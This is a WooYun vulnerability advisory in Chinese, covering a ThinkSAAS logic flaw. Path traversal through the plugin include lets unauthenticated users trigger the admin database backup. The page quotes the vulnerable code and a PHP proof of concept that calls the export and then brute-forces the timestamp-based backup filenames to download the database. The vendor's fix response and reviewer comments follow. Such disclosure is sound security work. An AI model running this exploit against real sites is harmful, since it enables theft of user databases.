当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号: WooYun-2014-51743

漏洞标题: ThinkSAAS逻辑漏洞可致拖库

相关厂商: thinksaas.cn

漏洞作者: My5t3ry

提交时间: 2014-02-22 22:54

公开时间: 2014-05-23 22:55

漏洞类型: 设计缺陷/逻辑错误

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 设计缺陷/边界绕过 逻辑错误

1人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-02-22: 细节已通知厂商并且等待厂商处理中
2014-02-23: 厂商已经确认,细节仅向厂商公开
2014-02-26: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-04-19: 细节向核心白帽子及相关领域专家公开
2014-04-29: 细节向普通白帽子公开
2014-05-09: 细节向实习白帽子公开
2014-05-23: 细节向公众公开

简要描述:

ThinkSAAS的一个逻辑漏洞导致可以实时备份网站数据库,同时可以获取备份数据库文件名。
下载实时备份的数据库实现脱裤。漏洞影响所有版本。

详细说明:

thinksaas系统使用常量IN_TS来控制页面的访问,然后在每个功能模块用一句代码:

code 区域
defined('IN_TS') or die('Access Denied.');



来限制访问,这样设计带来的问题是,一个文件包含可以通杀,越权访问执行任意功能模块。

看到/app/user/action/plugin.php代码:

code 区域
<?php
//插件条件入口

defined('IN_TS') or die('Access Denied.');

if(is_file('plugins/'.$app.'/'.$plugin.'/'.$in.'.php')){
require_once('plugins/'.$app.'/'.$plugin.'/'.$in.'.php');
}else{
tsNotice('sorry:no plugin!');
}





利用上面的代码可以任意包含php文件,接着看到/app/system/action/sql.php代码:

code 区域
<?php 
defined('IN_TS') or die('Access Denied.');
switch($ts){
case "":

//输出备份文件
$arrSqlFile = tsScanDir('data/baksql','file');

include template('sql');
break;

//优化
case "optimize":
$arrTables = $db->fetch_all_assoc("SHOW TABLES");
foreach($arrTables as $key=>$item){
$db->query("OPTIMIZE TABLE `".$item."` ");
}
qiMsg('优化数据库成功!');
break;

//备份导出
case "export":

require_once 'thinksaas/DbManage.php';
$bakdb = new DBManage ( $TS_DB['host'].':'.$TS_DB['port'], $TS_DB['user'], $TS_DB['pwd'], $TS_DB['name'], 'utf8' );
$bakdb->backup ('','data/baksql/');

qiMsg('数据库备份完毕!');

break;



利用/app/user/action/plugin.php文件的包含漏洞可以越权执行后台的数据库备份功能,生成数据库备份文件,同时备份的数据库是以date('YmdHis')+_all_v1.sql来命名,可以简单预测到备份数据库文件名。

漏洞证明:

code 区域
<?php
date_default_timezone_set('Asia/Hong_Kong');
$url = "**.**.**.**/thinksaas/index.php?app=user&ac=plugin&plugin=face&in=my5t3ry/../../../../app/system/action/sql&ts=export";
file_get_contents($url);
$time = date('YmdHis');
for($i = $time; $i <= $time + 300; $i++){
$filename = $i ."_all_v1.sql";
$url = "**.**.**.**/thinksaas/data/baksql/".$filename;
if (@file_get_contents($url, null, null, -1, 1)){
echo $url;
}
}
?>





使用上面的代码可以备份数据库并得到备份数据库文件名,测试如图:

backup.jpg

修复方案:

过滤&限制

版权声明:转载请注明来源 My5t3ry@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-02-23 22:39

厂商回复:

已经修复,感谢反馈。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-02-22 22:55 | xsser 认证白帽子 ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)
    0

    有意思 特首页

  2. 2014-02-22 22:58 | 寂寞的瘦子 ( 普通白帽子 | Rank:242 漏洞数:53 | ☯☯☯☯☯☯☯☯☯☯)
    0

    再次关注

  3. 2014-02-22 23:49 | wefgod ( 核心白帽子 | Rank:1825 漏洞数:183 | 力不从心)
    0

    围观

  4. 2014-02-23 11:02 | xfkxfk 认证白帽子 ( 核心白帽子 | Rank:2299 漏洞数:351 | 呵呵!)
    0

    围观

  5. 2014-02-23 13:51 | phith0n 认证白帽子 ( 普通白帽子 | Rank:804 漏洞数:125 | 一个想当文人的黑客~)
    0

    围观

  6. 2014-03-16 08:46 | wefgod ( 核心白帽子 | Rank:1825 漏洞数:183 | 力不从心)
    0

    那个意思是只要有那个变量提交就不会die?还是啥意思来着

  7. 2014-03-16 18:21 | _Evil ( 普通白帽子 | Rank:431 漏洞数:61 | 万事无他,唯手熟尔。农民也会编程,别指望天...)
    0

    @wefgod 哥们就是这个意思

  8. 2014-03-16 19:13 | wefgod ( 核心白帽子 | Rank:1825 漏洞数:183 | 力不从心)
    0

    @_Evil 哦哦我去,想想才明白下面为什么要用index.php,原来是这个意思

登录后才能发表评论,请先 登录